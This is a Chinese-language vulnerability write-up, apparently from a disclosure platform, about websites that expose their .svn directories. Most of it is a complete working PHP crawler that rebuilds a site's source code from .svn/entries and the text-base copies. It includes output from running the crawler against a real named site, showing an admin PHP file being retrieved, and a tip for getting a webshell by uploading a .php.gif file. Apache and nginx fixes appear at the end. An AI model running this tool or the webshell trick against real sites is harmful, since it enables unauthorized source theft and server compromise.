有的站點(diǎn)使用.svn來做生產(chǎn)環(huán)境版本控制,但是.svn目錄沒有做訪問權(quán)限限制,可以通過.svn/entries來遍歷文件和目錄列表。 為了節(jié)約體力,我寫了一個php腳本(http://rains.im/?q=node/18)來做這件事,如果*.php.svn-base不被當(dāng).php來執(zhí)行,那么恭喜你,svn中的.php程序源碼隨你下了,分析源碼可能能幫助你發(fā)現(xiàn)更多漏洞。 如果.php.svn-base被當(dāng)成php文件來執(zhí)行了,可能看到php錯誤信息(看到真實路徑)或內(nèi)容為空白,那么,同樣恭喜你,這個站點(diǎn)有擴(kuò)展名識別問題,找地方上傳xxx.php.gif也許就可以直接得到webshell了。
漏洞證明:/usr/local/bin/svn_clone -cvvvu http://www.2.newsmth.net
*** 下載bbspsttmpl.php 文件
寫入bbspsttmpl.php 到/data/src/www.2.newsmth.net (4190 bytes)
*** 下載default-sf.css 文件
寫入default-sf.css 到/data/src/www.2.newsmth.net (9700 bytes)
*** 下載www2-admin.php 文件
寫入www2-admin.php 到/data/src/www.2.newsmth.net (1819 bytes)
*** 下載bbspst.php 文件
寫入bbspst.php 到/data/src/www.2.newsmth.net (2716 bytes)
#!/usr/bin/php -q
<?php
/**
* 本腳本用于下載.svn目錄未作權(quán)限限制的并且svn版本小于1.7的網(wǎng)站源碼.
* 請用php5.3+來運(yùn)行本腳本.想支持更低版本,請自行修改源碼.不必通知我.
* 作者:小雨@烏云
* http://蛋疼.com
*/
#錯誤報告級別,只報告錯誤
error_reporting(E_ERROR);
#要顯示錯誤
ini_set('display_errors','On');
define('VERSION', '1.0');
ini_set('user_agent','svn_clone(svn_clone v'.VERSION.'; by 小雨@烏云email:z@zt.vc; http://蛋疼.com)');
#緩存目錄,最好放在tmpfs上,我沒做過緩存期的設(shè)置,所以想真正重新抓一次就必須手工刪緩存目錄
define('CACHE_DIR', '/tmp/cache');
#代碼要保存到的路徑,不同域名會自動分目錄存放的
define('DATA_DIR', '/data/src');
#調(diào)試信息級別
define('NONE', 0);#無條件報告
define('ERROR', 1);#錯誤
define('WARNING', 2);#警告
define('ALL', 3);#全部
define('EGGACHE', 4);#蛋疼
#獲取參數(shù)
$opts = getopt('u:chv',array('url:','color','help','verbose'));
#獲取傳入的URL地址
$url = $opts['url']?:($opts['u']?:null);
#是否顯示幫助
$help = isset($opts['h'])+isset($opts['help']);
#是否使用顏色
define('USECOLOR', isset($opts['c'])+isset($opts['color']));
#調(diào)試信息級別,v越多越詳細(xì),最多接受3個v, 函數(shù)內(nèi)用,懶得寫global,定義成常量吧.
define('VERBOSE', count($opts['v'])+count($opts['verbose']));
#本程序的名字,額,我不知道這個寫法是否兼容別的shell.反正bash下用它判斷是沒錯的
$cmd = basename($_SERVER['_'])=='php'?'php '.$_SERVER['PHP_SELF']:$_SERVER['_'];
if($help or !$url) {
die("Usage:\t$cmd option [url]\n".
"\t-u --url\turl\t您想要通過svn克隆的網(wǎng)站url\n".
"\t-c --color\t\t使用控制臺色彩輸出\n".
"\t-v --verbose\t\t打印更多的詳細(xì)信息,v越多越詳細(xì)\n".
"\t-h --help\t\t本幫助信息\n".
"Examples:\n".
"\t$cmd -u http://localhost\n".
"\t$cmd -u http://localhost -cvv\n".
"\t$cmd -vu http://localhost\n".
"\t$cmd -cvvu http://localhost\n".
"\t$cmd --url http://localhost --color --verbose --verbose --verbose 有人勤奮到使用這種格式咩?! Orz.\n"
);
}
#我真是蛋疼...寫這行干啥呢...
debug("蛋疼是一種病,要淡定,不要蛋疼...\n", EGGACHE);
svn_clone($url);
#本程序的主函數(shù)
function svn_clone($url) {
#去除多余的url結(jié)尾多余的斜杠
$url=trim($url,'/');
$entries_url = $url.'/.svn/entries';
$content = get($entries_url);
if(!$content) {
return debug("$url 不是一個合法的svn工作副本!\n", ERROR);
} elseif(strlen($content)<10) {
return debug("某個東西太短了,需要藍(lán)色小藥丸么?\n", ERROR);
}
#匹配出entries中的文件和目錄名
preg_match_all('/\f\n([^\n]+?)\s(\w+)\s/s', $content, $m) or debug("$entries_url 不包含文件或子目錄\n", WARNING);
$files = array_combine($m[1], $m[2]);
foreach($files as $file=>$type) {
if($type=='dir') {
debug(">>> 進(jìn)入$file 目錄\n", ALL);svn_clone($url.'/'.$file);
debug("<<< 退出$file 目錄\n", ALL);
} elseif($type=='file') {
debug("*** 下載$file 文件\n", ALL);
fetch($url.'/.svn/text-base/'.$file.'.svn-base');
}
}
}
#抓取并保存
function fetch($text_base){
put($text_base, get($text_base));
}
#帶緩存的抓取
function get($url) {
$file = CACHE_DIR.'/'.chunk_split(substr(md5($url),0,6),2,'/').urlencode($url);
$dir = dirname($file);
if(!is_dir($dir)) {
mkdir($dir,0777,true);
}
if(!file_exists($file)) {
$content = file_get_contents($url) or debug("讀取{$url} 內(nèi)容為空\n", WARNING);
if($content)
{
file_put_contents($file, $content) or debug("寫入{$file} 內(nèi)容為空\n", WARNING);
}
} else {
$content = file_get_contents($file) or debug("讀緩存{$file} 內(nèi)容為空\n", WARNING);
}
return $content;
}
#保存到數(shù)據(jù)目錄www.2cto.com
function put($url, $content='')
{
$file = DATA_DIR.substr(strchr($url,'://'),2);
$dir = dirname(dirname(dirname($file)));
$file = basename($file,'.svn-base');
#看看你那什么有多長?
$len = strlen($content);
if(!is_dir($dir)) {
mkdir($dir,0777,true);
}
debug("寫入$file 到$dir ($len bytes)\n", ALL);
file_put_contents($dir.'/'.$file, $content) or debug("寫入{$file} 內(nèi)容為空\n", WARNING);
}
#打印調(diào)試信息
function debug($msg, $level=0) {
#顏色定義0:灰, 1:紅, 2:綠, 3:黃, 4:藍(lán), 5:粉, 6:青, 7:白
static $colors = array(NONE=>0, ERROR=>1, WARNING=>2, ALL=>3, EGGACHE=>4);
VERBOSE>=$level && (USECOLOR?printf("\033[1;3{$colors[$level]}m$msg\033[m", $color, $msg):print $msg);
}
修復(fù)方案:svn更新至1.7+ .svn/entries目錄就不包含文件目錄列表了
apache:
<Directory ~ "\.svn">
Order allow,deny
Deny from all
</Directory>
nginx:
location ~ /.svn/ {
deny all;
}
作者 小雨